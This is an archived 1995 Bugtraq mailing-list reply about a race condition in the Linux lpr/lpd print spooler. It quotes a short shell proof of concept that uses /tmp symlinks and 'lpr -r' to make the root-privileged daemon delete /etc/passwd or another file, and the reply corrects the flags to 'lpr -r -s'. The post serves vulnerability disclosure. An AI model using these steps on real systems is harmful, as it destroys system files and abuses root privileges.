[2063] in bugtraq
Re: [Linux-ISP] lpr(1) bug
daemon@ATHENA.MIT.EDU (Zygo Blaxell)
Mon Jul 24 13:29:04 1995
Date: Sat, 22 Jul 1995 15:17:31 -0400
Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
From: Zygo Blaxell <zblaxell@miranda.uwaterloo.ca>
X-To: cschuber@uumail.gov.bc.ca
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
In-Reply-To: <199507211606.JAA27970@passer.osg.gov.bc.ca> from "Cy Schubert -
BCSC Open Systems Group" at Jul 21, 95 09:06:40 am
Quoted from Cy Schubert - BCSC Open Systems Group:
> > The problem is that lpr/lpd invokes unlink() with super-user privileges.
> > Consider:
> >
> > mkdir /tmp/foobar
> > ln -s /etc/passwd /tmp/foobar
> > lpr big_huge_file
> > lpr -r /tmp/foobar/passwd
> >
> > rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar
> > OR ln -fs /home/private_file /tmp/foobar/passwd # Does this work?
> >
> > /etc/passwd goes away.
>
> I tried this on my Infomagic Slackware 2.2 and /etc/passwd (actually /etc/foo)
> was still there, e.g. I couldn't recreate the problem. The source code for
> lpr/lpd, part of NetKit-B-0.5 had the Berkeley copyright notice on it. Are we
> talking about a different lpr/lpd daemon? If we are talking about the same
> lpr/lpd as in NetKit-B-0.5, and if this only occurs during a race condition that
> has been mentioned in previous posts, this problem should be realized on any BSD
> based system.
>
Errr...oops. That should be 'lpr -r -s' instead of 'lpr'. There is a
race condition in lpr 'lpr -r' as well, but it's harder to exploit.
--
Zygo Blaxell, former sysadmin and current software/hardware guru for the
University of Waterloo Computer Science Club; current sysadmin for miranda.
uwaterloo.ca and ezmail.com. 10th place team, ACM Intl Finals Programming
Contest 1994. Will administer Unix (esp. Linux, maybe Solaris) for food.
